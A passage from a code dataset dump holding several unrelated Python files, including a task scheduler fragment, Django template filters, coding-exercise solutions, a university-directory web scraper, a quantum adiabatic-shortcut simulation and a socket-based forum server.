logger.debug('Worker assign quotas: %r', worker_quotas)\n\n # calculate expected descendant count (spread range) of\n # every worker and subtract assigned number from it\n average_spread_range = len(graph) * 1.0 / len(self._worker_slots)\n spread_ranges = defaultdict(lambda: average_spread_range)\n for worker in cur_assigns.values():\n spread_ranges[worker] -= 1\n\n logger.debug('Scan spread ranges: %r', dict(spread_ranges))\n\n # assign pass 1: assign from fixed groups\n sorted_workers = sorted(worker_op_keys, reverse=True, key=lambda k: len(worker_op_keys[k]))\n for worker in sorted_workers:\n start_chunks = reduce(operator.add, (key_to_chunks[op_key] for op_key in worker_op_keys[worker]))\n self._assign_by_bfs(start_chunks, worker, worker_quotas, spread_ranges,\n op_keys, cur_assigns, graph=graph)\n\n # assign pass 2: assign from other nodes to be assigned\n sorted_candidates = [v for v in chunks_to_assign]\n while max(worker_quotas.values()):\n worker = max(worker_quotas, key=lambda k: worker_quotas[k])\n try:\n cur = sorted_candidates.pop()\n while cur.op.key in cur_assigns:\n cur = sorted_candidates.pop()\n except IndexError: # pragma: no cover\n break\n self._assign_by_bfs(cur, worker, worker_quotas, spread_ranges, op_keys,\n cur_assigns, graph=graph)\n\n keys_to_assign = {n.op.key: n.op for n in requested_chunks}\n assignments = {k: v for k, v in cur_assigns.items() if k in keys_to_assign}\n assignments.update({k: v for k, v in expect_workers.items() if k in keys_to_assign})\n return assignments\n\n def analyze_state_changes(self):\n \"\"\"\n Update operand states when some chunks are lost.\n :return: dict mapping operand keys into changed states\n \"\"\"\n graph = self._graph\n lost_chunks = set(self._lost_chunks)\n op_states = self._op_states\n\n # mark lost virtual nodes as lost when some preds are lost\n for n in graph:\n if not isinstance(n.op, VirtualOperand) \\\n or op_states.get(n.op.key) == OperandState.UNSCHEDULED:\n continue\n if any(pred.key in lost_chunks for pred in graph.iter_predecessors(n)):\n lost_chunks.add(n.key)\n\n # collect operands with lost data\n op_key_to_chunks = defaultdict(list)\n lost_ops = set()\n for n in graph:\n op_key_to_chunks[n.op.key].append(n)\n if n.key in lost_chunks:\n lost_ops.add(n.op.key)\n\n # check data on finished operands. when data lost, mark the operand\n # and its successors as affected.\n affected_op_keys = set()\n for op_key in lost_ops:\n affected_op_keys.add(op_key)\n for n in op_key_to_chunks[op_key]:\n affected_op_keys.update(succ.op.key for succ in graph.iter_successors(n))\n\n # scan the graph from bottom and reassign new states\n new_states = dict()\n for chunk in graph.topological_iter(reverse=True):\n op_key = chunk.op.key\n if chunk.op.key not in affected_op_keys:\n continue\n\n can_be_ready = True\n stop_spread_states = (OperandState.RUNNING, OperandState.FINISHED)\n for pred in graph.iter_predecessors(chunk):\n pred_op_key = pred.op.key\n # mark affected, if\n # 1. data of the operand is lost\n # 2. state does not hold data, or data is lost,\n # for instance, operand is freed.\n if pred.key in lost_chunks or op_states.get(pred_op_key) not in stop_spread_states:\n affected_op_keys.add(pred_op_key)\n can_be_ready = False\n\n # update state given data preservation of prior nodes\n chunk_op_state = op_states.get(op_key)\n if can_be_ready and chunk_op_state != OperandState.READY:\n new_states[op_key] = OperandState.READY\n elif not can_be_ready and chunk_op_state != OperandState.UNSCHEDULED:\n new_states[op_key] = OperandState.UNSCHEDULED\n\n op_states.update(new_states)\n return new_states\n","sub_path":"mars/scheduler/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":17911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"403857496","text":"from django import template\n\nfrom cfp.utils import is_staff\n\n\nregister = template.Library()\n\n\n@register.filter\ndef staff(request):\n return is_staff(request, request.user)\n\n@register.filter('duration_format')\ndef duration_format(value):\n value = int(value)\n hours = int(value/60)\n minutes = value%60\n return '%d h %02d' % (hours, minutes)\n","sub_path":"cfp/templatetags/cfp_tags.py","file_name":"cfp_tags.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"641579085","text":"class Solution(object):\n def convert_one_line(self, s, n, nmax):\n round_interval = (nmax - 1) * 2\n if n == 0 or n == (nmax-1): #first line or last line\n step_interval = round_interval\n else:\n step_interval = (nmax - n - 1) * 2\n\n i, interval = n, step_interval\n line_output = \"\"\n while i < len(s):\n line_output += s[i]\n i += interval\n if n > 0 and n < (nmax-1): #except first line and last line\n interval = round_interval - interval\n\n return line_output\n\n\n def convert(self, s, numRows):\n \"\"\"\n :type s: str\n :type numRows: int\n :rtype: str\n \"\"\"\n if numRows == 1:\n return s\n\n output = \"\"\n for i in xrange(0, numRows):\n output += self.convert_one_line(s, i, numRows)\n return output\n\nsolution = Solution()\nsolution.convert(\"ABCD\", 4)\n \n","sub_path":"easy/006_ZigZag_Conversion/ZigZag_Conversion.py","file_name":"ZigZag_Conversion.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"52911853","text":"# coding:utf-8\n\n\"\"\"\n采集目标:中国大学名录(http://t3.zsedu.net/ulink/)\n数据格式:csv\n采集方案:使用requests库请求数据,使用pyquery库解析数据,保存为csv格式数据\n\"\"\"\nimport os,csv,re\nimport pymysql\nimport requests\nfrom pyquery import PyQuery\n\n\ndef load(url):\n headers={\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36'\n }\n resp=requests.get(url,headers=headers)\n if resp.status_code==200:\n resp.encoding='gb2312'\n return resp.text\n\n\ndef parse(html):\n doc=PyQuery(html)\n trs=list(doc('tr.l1').items())\n\n # 中国大学综合实力前20强\n top20_data=list()\n top20_trs=enumerate(trs[0:5],start=0)\n\n for tr in top20_trs:\n if tr[0]==0:\n tds=list(tr[1].children('td:nth-child(odd)').items())[1:]\n else:\n tds=tr[1].children('td:nth-child(even)').items()\n\n for td in tds:\n name=td('a').text()\n href=td('a').attr('href')\n tag=td('span.size12').text()\n temp=re.findall('211|985',tag,flags=0)\n if len(temp)>0:\n tag=temp[0] if len(temp)==1 else '/'.join(temp)\n\n top20_data.append({'校名':name,'官方网站':href,'211/985':tag})\n\n print(top20_data,len(top20_data),sep='\\n')\n\n # 全部大学\n all_data=list()\n all_trs=trs[5:]\n\n province='' # 所在省份\n for tr in all_trs:\n tds=tr.children('td:nth-child(odd)').items()\n for td in enumerate(tds,start=0):\n if td[0]==0:\n i=td[1]('a').text()\n if i:\n province=i\n continue\n\n name=td[1]('a').text()\n if not name:\n continue\n\n href = td[1]('a').attr('href')\n\n tag=td[1]('span.size12').text()\n if tag:\n temp=re.findall('211|985',tag,flags=0)\n if len(temp)>0:\n tag=temp[0] if len(temp)==1 else '/'.join(temp)\n\n all_data.append({'所在省份':province,'校名':name,'官方网站':href,'211/985':tag})\n\n print(all_data,len(all_data),sep='\\n')\n\n return top20_data,all_data\n\n\ndef save2csv(top20_data,all_data):\n \"\"\"保存为CSV文件\"\"\"\n\n save_dir='/home/li/data/中国大学名录/'\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n top20_headers=['校名','211/985','官方网站']\n with open(os.path.join(save_dir,'top20.csv'),mode='w',encoding='utf8') as f:\n dwriter=csv.DictWriter(f,fieldnames=top20_headers)\n dwriter.writeheader()\n dwriter.writerows(top20_data)\n\n all_headers=['校名','所在省份','211/985','官方网站']\n with open(os.path.join(save_dir,'all.csv'),mode='w',encoding='utf8') as f:\n dwriter=csv.DictWriter(f,fieldnames=all_headers)\n dwriter.writeheader()\n dwriter.writerows(all_data)\n\n\ndef save2mysql(top20_data,all_data):\n \"\"\"保存到mysql\n 创建数据库\n create database chinese_university_directory;\n\n 创建数据表\n create table top20(\n id integer NOT NULL AUTO_INCREMENT,\n name char(50) NOT NULL,\n tag char(7) NULL,\n website char(50) NOT NULL,\n PRIMARY KEY (id)\n ) ENGINE=InnoDB;\n\n create table universities(\n id integer NOT NULL AUTO_INCREMENT,\n name char(50) NOT NULL,\n tag char(7) NULL,\n province char(10) NOT NULL,\n website char(50) NOT NULL,\n PRIMARY KEY (id)\n ) ENGINE=InnoDB;\n\n \"\"\"\n conn=pymysql.connect(host='localhost',\n port=3306,\n user='root',\n password='root',\n charset='utf8',\n db='chinese_university_directory',\n cursorclass=pymysql.cursors.DictCursor)\n\n try:\n conn.begin()\n\n with conn.cursor() as cursor:\n sql_top20='insert into top20 (name,tag,website) values (%s,%s,%s);'\n for i in top20_data:\n print(i)\n args_top20=(i['校名'],i['211/985'],i['官方网站'])\n cursor.execute(query=sql_top20,args=args_top20)\n\n sql_all='insert into universities (name,tag,website,province) values (%s,%s,%s,%s);'\n for i in all_data:\n print(i)\n args_all=(i['校名'],i['211/985'],i['官方网站'],i['所在省份'])\n cursor.execute(query=sql_all,args=args_all)\n except:\n conn.rollback()\n finally:\n conn.commit()\n conn.close()\n\ndef crawl():\n url='http://t3.zsedu.net/ulink/main.html'\n html=load(url)\n top20_data,all_data=parse(html)\n # save2csv(top20_data,all_data)\n save2mysql(top20_data,all_data)\n\n\n\n\nif __name__ == '__main__':\n crawl()","sub_path":"02_PC端/中国大学名录/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"2523802","text":"\n###################################\n#PACKAGES\n###################################\n\nimport numpy as np\nfrom scipy import linalg as la\nfrom scipy.interpolate import UnivariateSpline\nimport matplotlib.pyplot as plt\nimport sys\n\n###################################\n\n###################################\n\n\n\n\n\n###############################################\n##CONSTANTS\n###############################################\n\n#constants\ncosa1=1001\npoints_x=cosa1\npoints_t=4*int(int(points_x**2 /50)/4.0) #para quesea multiplo de 4\nDD=-20\nsteps=int(cosa1*5)\nhbar=1.0\nm=1.0\nW=10.0 #size of the well\nd=0.5\ncent=-0.0\n\n\n# create grid\ntf=1000\nW=W/2.0\nxf=W\nx0=-W\ndt=tf/points_t\ndx=(xf-x0)/(points_x)\nx=np.linspace(x0,xf,points_x) #debe tener un numero impar de elemntos para que sirva NInteg\nt=np.linspace(0,tf,points_t)\n\n\n#############################################\n\n#############################################\n\n\n\n\n\n\n\n############################################\n#POTENTIALS\n############################################\n\n\ndef window(xvec,d,cent):\n return 0.5*((np.sign(xvec+d/2.0-cent))-(np.sign(xvec-d/2.0-cent)))\n\ndef Vpike(A,xvec,d,cent):\n return A*((1-2*(xvec-cent)/d)*window(xvec,d/2,cent+d/4)+(1+2*(xvec-cent)/d)*window(xvec,d/2,cent-d/4))\n\ndef Vsq(A,xvec,d,cent):\n return A*window(xvec,d,cent)\n\ndef VJar(A1,A2,A3, xvec,cent):\n return A1*(xvec**4 - 0.5*(A2*(xvec)**2*(np.sign( (xvec-cent) )+1)+A3*(xvec)**2*(np.sign( -(xvec-cent) )+1)))\n\ndef Vharm(mw2,xvec,cent):\n return 0.5*mw2*(xvec-cent)**2\n\ndef Vsqdouble(A1,A3,d1,d3,xvec,cent1,cent2):\n return A1*window(xvec,d1,cent1)+A3*window(xvec,d3,cent2)\n\n\n\n\n\n#############################################\n\n#############################################\n\n\n\n\n\n\n\n\n\n\n##########################################\n#GENERATE POTENTIAL IN THE USUAL WAY\n##########################################\nTrayV4=np.zeros([points_x,points_t])\n\n\n\nframes=int(points_t/4)\nfor j in range(frames):\n \n V=Vsqdouble(DD*(j/float(frames-1)),0,2.5,2.5,x,-5+1.25,5-1.25)\n TrayV4[:,j]=V\n \nfor j in range(frames):\n \n V=Vsqdouble(DD,DD*(j/float(frames-1)),2.5,2.5,x,-5+1.25,5-1.25)\n TrayV4[:,j+frames]=V\n \n\n\nfor j in range(frames):\n \n V=Vsqdouble(DD*(1-j/float(frames-1)),DD,2.5,2.5,x,-5+1.25,5-1.25)\n TrayV4[:,j+2*frames]=V\n \n\nfor j in range(frames):\n\n V=Vsqdouble(0,DD*(1-j/float(frames-1)),2.5,2.5,x,-5+1.25,5-1.25)\n TrayV4[:,j+3*frames]=V\n\n\n\n#############################################\n\n#############################################\n\n\n\n\n\n\n\n\n################################################################\n#SHORTCUT TO ADIABATICITY \n################################################################\n\n\n\n\n#########INTEGRATION########################\nfrom scipy.interpolate import UnivariateSpline\n\ndef Ninteg(x,func,x0,xf,dx):\n spl = UnivariateSpline(x,func, k=3, s=0)\n intfunc=np.zeros(np.size(xf))\n for i in range(np.size(xf)):\n intfunc[i]=spl.integral(x0, xf[i])\n \n return intfunc\n\ndef Ninteg2(x,func,x0,xf,dx):\n spl = UnivariateSpline(x,func, k=3, s=0)\n intfunc=spl.integral(x0, xf)\n return intfunc\n\n\ndef eta(t):\n return ((t**3.0)/(tf**3.0))*(1 + 3.0*(1 - (t/tf)) + 6.0*(1 - (t/tf))**2.0)\n#############################################\n\n\n\n\n\n\n\n\n\n\n#########DIFFERENTIATION########################\n\ndef Nderivat(func,x):\n spl = UnivariateSpline(x,func, k=3, s=0)\n derivativas=spl.derivative()\n return derivativas(x)\n\ndef Nderivat2(func,x):\n Nderivat(func,x)\n return Nderivat( Nderivat(func,x),x)\n\n#############################################\n\n\n\n\n\n\n\n\n#####################################\n\n###########FUNCTION################\n\n\n\ndef Shortcut(x,psiI,psiF, E_I, E_F, eta):\n PsiI= UnivariateSpline(x,psiI, k=5, s=0)\n PsiF= UnivariateSpline(x,psiF, k=5, s=0)\n \n def rho(x,t):\n rho0=(1 - eta(t))*PsiI(x) + eta(t)*PsiF(x) \n Z=Ninteg(x,rho0**2,x0,[xf],dx)[0]\n return rho0/np.sqrt(Z)\n\n\n def phi(t, E_I, E_F):\n return (t/tf)*(1 - (t/tf))*(( E_F + E_I)*t - E_I*tf)\n\n\n rhogrid=np.array([rho(x,tau) for tau in t] )\n\n Temp=[]\n for element in rhogrid.T:\n Temp.append(Nderivat(element**2,t))\n \n\n Temp21=[]\n for element2 in np.array(Temp).T:\n Temp21.append(Ninteg(x,element2,0,x,dx))\n \n up=np.array(Temp21)\n rhosq=rhogrid**2\n u=up/rhosq\n \n plt.title(\"hydrodinamic velocity vs x\")\n plt.ylabel(\"u(x,0)\")\n plt.xlabel(\"x\")\n plt.plot(x,u[0,:])\n plt.show()\n\n plt.imshow(u, interpolation='nearest', aspect='auto')\n plt.colorbar()\n plt.show()\n \n \n\n ## first term\n Temp3=[]\n for element3 in u.T:\n Temp3.append(Nderivat(element3,t))\n Temp4=[]\n for element4 in np.array(Temp3).T:\n Temp4.append(Ninteg(x,element4,0,x,dx))\n first=np.array(Temp4)\n\n\n ## second term\n Temp5=[]\n for element5 in rhogrid:\n Temp5.append(Nderivat2(element5,x))\n second=0.5*np.array(Temp5)/rhogrid\n\n\n\n ## third term\n third=-0.5*u**2\n\n\n ##fourth term\n fourth=-np.array([Nderivat(phi(t, E_I, E_F),t) for r in x]).T\n print(np.shape(first),np.shape(second),np.shape(third),np.shape(fourth))\n #Vres=second+fourth\n\n\n\n ##final result\n Vres=second+fourth+first+third\n \n\n ##cutoff\n c=14*10**5\n Vres[np.where( (Vres)>c )]=c\n Vres[np.where( (Vres)<-c )]=-c\n slices=9\n for i in range(0,slices):\n #title(\"Interpolating function for the state density\")\n plt.ylabel(r\"$V$\")\n plt.xlabel(\"x\")\n plt.ylim([-100,100])\n #plt.xlim([-0.7,0.7])\n plt.plot(x,Vres[int(i*(np.size(t)-1)/(slices-1)),:],label=\"interpolating\",c='r')\n plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n plt.savefig(str(i)+'.png')\n plt.show()\n \n for element5 in u:\n Temp5.append(Ninteg(x,element5,0,x,dx))\n phires=np.array(Temp4)\n\n \n return Vres, phires\n###############################################################\n\n####################################################################\n\n\n\n\n\n\n\n####################################################################\n################# boundary conditions #####################\n\n\npsigrid=[]\nnorm=[]\nonesies=np.diag(np.ones(points_x))\nT=-0.5*(-2.0*np.diag(np.ones(points_x))+np.diag(np.ones(points_x-1),1)\n +np.diag(np.ones(points_x-1),-1))/(dx**2)+np.diag(Vsqdouble(DD,DD,2.5,2.5,x,-5+1.25,5-1.25)) #first hamiltonian\n\n\nT2=-0.5*(-2.0*np.diag(np.ones(points_x))+np.diag(np.ones(points_x-1),1)\n +np.diag(np.ones(points_x-1),-1))/(dx**2)+np.diag(Vsqdouble(0.05*DD,0.05*DD,2.5,2.5,x,-5+1.25,5-1.25)) #second hamiltonian\n\n\nvalues2=la.eigh(T)\nvalues=la.eigh(T2)\n\n\npsig=values2[1].T[0]/np.sqrt(dx) #ground state for first potental\npsie=values2[1].T[1]/np.sqrt(dx) #excited state for first potental\nEg=values2[0][0] #ground state energy for first potental\nEe=values2[0][1] #excited state energy for first potental\n\n\npsigprime=values[1].T[0]/np.sqrt(dx) #ground state for first potental\npsieprime=values[1].T[1]/np.sqrt(dx) #excited state for first potental\nEgprime=values[0][0] #ground state energy for first potental\nEeprime=values[0][1] #excited state energy for first potental\n\n\n#interpolated states \"prime\"\npsi1=psig\npsi2=psie\nE1=Eg\nE2=Ee\n\nplt.plot(x,psi1)\nplt.plot(x,psi2)\nplt.show()\n\n\n#################################################################\n\n##################################################################\n\n\n\n\n\ndef ShortcutR(x,psiI,psiF, E_I, E_F, eta):\n PsiI= UnivariateSpline(x,psiI, k=5, s=0)\n PsiF= UnivariateSpline(x,psiF, k=5, s=0)\n \n def rho(x,t):\n rho0=(1 - eta(t))*PsiI(x) + eta(t)*PsiF(x) \n Z=Ninteg(x,rho0**2,x0,[xf],dx)[0]\n return rho0/np.sqrt(Z)\n##energy terms change if the wave functions are not gaussian \n def phi(t, E_I, E_F):\n return (t/tf)*(1 - (t/tf))*(( E_F + E_I)*t - E_I*tf)\n # Two subplots, unpack the axes array immediately\n f, (ax1, ax2) = plt.subplots(1, 2, sharey=True)\n ax1.plot(x,np.sqrt(PsiI(x)**2))\n ax1.set_title('Initial Density')\n ax1.set_ylabel(r'$\\rho (x,0)$')\n ax1.set_xlabel(r'$x$')\n ax2.plot(x,np.sqrt(PsiF(x)**2),c='g')\n ax2.set_title('Target Density')\n ax2.set_ylabel(r'$\\rho (x,t_{f})$')\n ax2.set_xlabel(r'$x$')\n\n plt.show()\n rhogrid=np.array([rho(x,tau) for tau in t] )\n\n \n\n return rhogrid\n\nR=ShortcutR(x,psi1,psi2, E1, E2, eta)\n\nbounds=1\nplt.imshow(R[:,bounds:-bounds], interpolation='nearest', aspect='auto')\nplt.title('rho(x,t)')\nplt.ylabel(r'$t/t_{f}$')\nplt.xlabel(r'$x$') \nplt.xticks(np.arange(0,(np.shape(R)[1]-2*bounds+1),(np.shape(R)[1]-2*bounds)/4),np.arange(-2,4))\nplt.yticks(np.arange(0,np.shape(R)[0],np.shape(R)[0]/4.0),np.linspace(0,1,5))\nplt.colorbar()\n\nplt.show() \n\n\n\nVRR, PhiR=Shortcut(x,psi1,psi2, E1, E2, eta)\n\nbounds=1\nplt.imshow(VRR[:,bounds:-bounds], interpolation='nearest', aspect='auto')\nplt.title('V(x,t)')\nplt.ylabel(r'$t/t_{f}$')\nplt.xlabel(r'$x$') \nplt.xticks(np.arange(0,(np.shape(R)[1]-2*bounds+1),(np.shape(R)[1]-2*bounds)/4),np.arange(-2,4))\nplt.yticks(np.arange(0,np.shape(R)[0],np.shape(R)[0]/4.0),np.linspace(0,1,5))\nplt.colorbar()\n\nplt.show() \n\nplt.imshow(PhiR[:,bounds:-bounds], interpolation='nearest', aspect='auto')\nplt.title('phi (x,t)')\nplt.ylabel(r'$t/t_{f}$')\nplt.xlabel(r'$x$')\nplt.xticks(np.arange(0,(np.shape(R)[1]-2*bounds+1),(np.shape(R)[1]-2*bounds)/4),np.arange(-2,4))\nplt.yticks(np.arange(0,np.shape(R)[0],np.shape(R)[0]/4.0),np.linspace(0,1,5))\nplt.colorbar()\n\nplt.show() \n\nplt.plot(PhiR[-1,bounds:-bounds])\nplt.plot(PhiR[0,bounds:-bounds])\nplt.ylim([-1,7])\nplt.show()\n\n\nnp.savetxt('VST.dat', VRR, delimiter=',')\n\n","sub_path":"STA_pythonCode/Woeked/ShortCutF.py","file_name":"ShortCutF.py","file_ext":"py","file_size_in_byte":9591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143528768","text":"'''\nDesign a data structure that supports adding new words and finding if a string matches any previously added string.\n\nImplement the WordDictionary class:\n\nWordDictionary() Initializes the object.\nvoid addWord(word) Adds word to the data structure, it can be matched later.\nbool search(word) Returns true if there is any string in the data structure that matches word or false otherwise. word may contain dots '.' where dots can be matched with any letter.\n \n\nExample:\n\nInput\n[\"WordDictionary\",\"addWord\",\"addWord\",\"addWord\",\"search\",\"search\",\"search\",\"search\"]\n[[],[\"bad\"],[\"dad\"],[\"mad\"],[\"pad\"],[\"bad\"],[\".ad\"],[\"b..\"]]\nOutput\n[null,null,null,null,false,true,true,true]\n\nExplanation\nWordDictionary wordDictionary = new WordDictionary();\nwordDictionary.addWord(\"bad\");\nwordDictionary.addWord(\"dad\");\nwordDictionary.addWord(\"mad\");\nwordDictionary.search(\"pad\"); // return False\nwordDictionary.search(\"bad\"); // return True\nwordDictionary.search(\".ad\"); // return True\nwordDictionary.search(\"b..\"); // return True\n \n\nConstraints:\n\n1 <= word.length <= 25\nword in addWord consists of lowercase English letters.\nword in search consist of '.' or lowercase English letters.\nThere will be at most 3 dots in word for search queries.\nAt most 104 calls will be made to addWord and search.\n'''\n\nclass WordDictionary:\n\n def __init__(self):\n self.trie = {}\n\n def addWord(self, word: str) -> None:\n node = self.trie\n \n for w in word:\n if w not in node:\n node[w] = {}\n \n node = node[w]\n \n node['$'] = True\n\n def search(self, word: str) -> bool:\n def search_word(word, node):\n for i, w in enumerate(word):\n if w in node:\n node = node[w]\n else:\n if w != '.':\n return False\n else:\n for key in node:\n if key != '$' and search_word(word[i + 1:], node[key]):\n return True\n return False\n \n return '$' in node\n \n return search_word(word, self.trie)\n\n\n# Your WordDictionary object will be instantiated and called as such:\n# obj = WordDictionary()\n# obj.addWord(word)\n# param_2 = obj.search(word)\n","sub_path":"Algorithm/Python/225/0211_Design_Add_and_Search_Words_Data_Structure.py","file_name":"0211_Design_Add_and_Search_Words_Data_Structure.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"134645488","text":"# Python 3.7\n# Server program\n# z5207825\n\n# Require server.py and server_utility.py in the same directory for import\nfrom server_utility import Forum\nfrom socket import *\nimport threading\nimport sys\nimport time\nimport json\n\n# application layer protocol: send messages structured in json format\n# message = {\n# \"cmd\" : \"\",\n# \"response\": \"\",\n# \"sender\" : \"\",\n# \"content\" : \"\"\n# }\n\nif len(sys.argv) != 3:\n print(\"Usage: python3 server.py server_port admin_passwd\")\n exit(1)\n\nserver_port = int(sys.argv[1])\nadmin_passwd = sys.argv[2]\n\n# Creating a lock for multi-threading\nt_lock = threading.Condition() \n\n# all clients dictionary\nclients = {}\n\n# online clients\nonline_clients = {}\n\n# create Forum class\nforum = Forum()\n\n# forum online status\nonline = True\n\n# Store initial users in the credentials file\ndef initialise_clients():\n with open(\"credentials.txt\", 'r') as f:\n for line in f.readlines():\n line = line.strip()\n user, pwd = line.split()\n clients[user] = pwd\n\n\n# Handle login (username/password) requests from new clients\ndef login_handler(clientConn, message):\n user = message['sender']\n response = \"\"\n if message['cmd'] == 'USERNAME':\n if user in online_clients:\n response = \"ALREADY_IN\"\n print(f\"{user} has already logged in\")\n elif user in clients:\n response = \"OK\"\n else:\n response = \"NEW_USER\"\n print(\"New User\")\n\n # else: cmd == 'PASSWORD'\n else:\n password = message['content']\n if user not in clients:\n # Add new client\n with open(\"credentials.txt\", 'a') as f:\n f.write('\\n' + user + ' ' + password)\n\n response = \"OK\"\n clients[user] = password\n online_clients[user] = clientConn\n print(f\"{user} successful login\")\n elif user in online_clients:\n response = \"ALREADY_IN\"\n print(f\"{user} has already logged in\")\n elif clients[user] == password:\n response = \"OK\"\n online_clients[user] = clientConn\n print(f\"{user} successful login\")\n else:\n response = \"WRONG_PWD\"\n print(\"Incorrect password\")\n\n return response\n\n# Handle client commands/requests\ndef client_handler(client):\n global online\n\n while True:\n received = client.recv(1024).decode()\n if not received:\n break\n\n message = json.loads(received)\n cmd = message['cmd']\n\n # Lock to prevent the access of shared data structures concurrently\n with t_lock:\n response = {'cmd': cmd, 'status': None, 'sender': 'SERVER', 'content': None}\n\n # Client Commands\n if cmd == 'USERNAME' or cmd == 'PASSWORD':\n response['status'] = login_handler(client, message)\n\n elif cmd == 'XIT':\n online_clients.pop(message['sender'])\n print(f\"{message['sender']} exited\")\n response['status'] = 'OK'\n\n elif cmd == 'CRT':\n print(f\"{message['sender']} issued {cmd} command\")\n if forum.create_forum_thread(message['content'], message['sender']):\n response['status'] = 'OK'\n print(f\"Thread {message['content']} created by {message['sender']}\")\n else:\n response['status'] = 'THREAD_EXISTS'\n print(f\"Thread {message['content']} already exists\")\n\n elif cmd == 'LST':\n print(f\"{message['sender']} issued {cmd} command\")\n response['status'] = 'OK'\n response['content'] = forum.get_active_threads()\n \n elif cmd == 'MSG':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']['title']\n msg = message['content']['message']\n if forum.thread_exists(title):\n response['status'] = 'OK'\n forum.add_message(title, message['sender'], msg)\n else:\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n \n elif cmd == 'RDT':\n print(f\"{message['sender']} issued {cmd} command\")\n if forum.thread_exists(message['content']):\n response['status'] = 'OK'\n response['content'] = forum.read_thread(message['content'])\n else:\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n\n elif cmd == 'EDT':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']['title']\n msg_No = int(message['content']['messageNo'])\n msg = message['content']['message']\n user = message['sender']\n if not forum.thread_exists(title):\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n elif forum.valid_msgNo(title, msg_No, user) != 'OK':\n response['status'] = forum.valid_msgNo(title, msg_No, user)\n print(\"Message cannot be edited\")\n else:\n response['status'] = 'OK'\n forum.edit_message(title, user, msg_No, msg)\n\n elif cmd == 'DLT':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']['title']\n msg_No = int(message['content']['messageNo'])\n user = message['sender']\n if not forum.thread_exists(title):\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n elif forum.valid_msgNo(title, msg_No, user) != 'OK':\n response['status'] = forum.valid_msgNo(title, msg_No, user)\n print(\"Message cannot be deleted\")\n else:\n response['status'] = 'OK'\n forum.delete_message(title, user, msg_No)\n\n elif cmd == 'UPD':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']['title']\n fname = message['content']['fileName']\n fsize = int(message['content']['fileSize'])\n if not forum.thread_exists(title):\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n else:\n response['status'] = 'OK'\n\n elif cmd == 'DWN':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']['title']\n fname = message['content']['fileName']\n if not forum.thread_exists(title):\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n elif not forum.file_exist_in_thread(title, fname):\n response['status'] = 'FILE_NOT_EXIST'\n print(f\"'{fname}' does not exist in Thread {title}\")\n else:\n response['status'] = 'OK'\n response['content'] = forum.get_file_size(title, fname)\n\n elif cmd == 'RMV':\n print(f\"{message['sender']} issued {cmd} command\")\n title = message['content']\n if not forum.thread_exists(title):\n response['status'] = 'NOT_EXIST'\n print(\"Incorrect thread specified\")\n elif forum.get_thread_creator(title) != message['sender']:\n response['status'] = 'INVALID_USER'\n print(f\"Thread {title} cannot be removed by {message['sender']}\")\n else:\n response['status'] = 'OK'\n forum.remove_thread(title)\n print(f\"Thread {title} removed\")\n \n elif cmd == 'SHT':\n print(f\"{message['sender']} issued {cmd} command\")\n if message['content'] != admin_passwd:\n response['status'] = 'INCORRECT_PWD'\n print(\"Incorrect password\")\n else:\n forum.shutdown()\n print(\"Server shutting down. Goodbye.\")\n online = False\n break\n\n else:\n response['status'] = 'INVALID_CMD'\n\n client.send(json.dumps(response).encode())\n\n if cmd == 'UPD' and response['status'] == 'OK':\n forum.receive_file(client, title, message['sender'], fname, fsize)\n if cmd == 'DWN' and response['status'] == 'OK':\n forum.send_file(client, title, fname)\n\n t_lock.notify()\n\n\n# Handle new clients connecting to server\ndef receive_handler():\n global t_lock\n global serverSocket\n global clients\n print(\"Waiting for clients ...\")\n\n while True:\n conn, address = serverSocket.accept()\n print(\"Client connected\")\n \n # create new thread for each new client connection socket\n t = threading.Thread(target=client_handler, args=(conn,))\n t.daemon = True\n t.start()\n \n\n\nserverSocket = socket(AF_INET, SOCK_STREAM)\nserverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\nserverSocket.bind(('localhost', server_port))\nserverSocket.listen()\n\nprint(f\"Forum started running on ip: {gethostbyname('localhost')} port: {server_port}\")\ninitialise_clients()\n\nt = threading.Thread(target=receive_handler)\nt.daemon = True\nt.start()\n\nwhile online:\n time.sleep(0.1)\nserverSocket.close()\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"404115539","text":"# z5206677 - Andrew Wong\n# https://featherbear.github.io/UNSW-COMP6441/blog/post/plsdonthaq.me\n\nimport re\nwith open(\"shuffle.txt\", \"r\") as f:\n lines = f.readlines()\n lines.sort(key=lambda s: int(re.search(\"(\\d+)\", s)[0]))\n with open(\"shuffle_solved.txt\", \"w\") as ff:\n for line in lines:\n 